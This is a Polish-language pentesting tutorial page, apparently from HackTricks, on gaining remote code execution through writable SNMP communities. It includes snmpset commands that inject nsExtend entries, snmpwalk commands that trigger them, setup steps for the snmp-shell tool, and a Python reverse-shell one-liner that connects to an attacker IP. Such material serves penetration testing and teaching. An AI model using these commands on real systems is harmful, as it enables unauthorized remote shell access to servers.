hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2024-02-11 01:46:25 +00:00

5.2 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

SNMP RCE

SNMP może zostać wykorzystany przez atakującego, jeśli administrator przeoczy domyślną konfigurację na urządzeniu lub serwerze. Poprzez wykorzystanie społeczności SNMP z uprawnieniami do zapisu (rwcommunity) w systemie operacyjnym Linux, atakujący może wykonywać polecenia na serwerze.

Rozszerzanie usług za pomocą dodatkowych poleceń

Aby rozszerzyć usługi SNMP i dodać dodatkowe polecenia, można dołączyć nowe wiersze do tabeli "nsExtendObjects". Można to osiągnąć za pomocą polecenia snmpset i podając niezbędne parametry, w tym bezwzględną ścieżkę do pliku wykonywalnego i polecenie do wykonania:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Wstrzykiwanie poleceń do wykonania

Wstrzykiwanie poleceń do wykonania na usłudze SNMP wymaga istnienia i możliwości wykonania wywoływanego pliku/skryptu. NET-SNMP-EXTEND-MIB wymaga podania bezwzględnej ścieżki do pliku wykonywalnego.

Aby potwierdzić wykonanie wstrzykniętego polecenia, można użyć polecenia snmpwalk, aby wyliczyć usługę SNMP. Wyjście wyświetli polecenie i jego powiązane szczegóły, w tym bezwzględną ścieżkę:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Wykonywanie wstrzykniętych poleceń

Gdy wstrzyknięte polecenie jest odczytywane, jest ono wykonywane. Zachowanie to jest znane jako run-on-read(). Wykonanie polecenia można zaobserwować podczas odczytu snmpwalk.

Uzyskiwanie powłoki serwera za pomocą SNMP

Aby uzyskać kontrolę nad serwerem i zdobyć powłokę serwera, można skorzystać z skryptu pythona opracowanego przez mxrch, dostępnego pod adresem https://github.com/mxrch/snmp-shell.git.

Alternatywnie, można ręcznie utworzyć odwróconą powłokę, wstrzykując określone polecenie do SNMP. To polecenie, wywołane przez snmpwalk, ustanawia połączenie odwrotne z maszyną atakującego, umożliwiając kontrolę nad maszyną ofiary. Możesz zainstalować wymagane oprogramowanie do uruchomienia tego:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Lub odwrócony shell:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: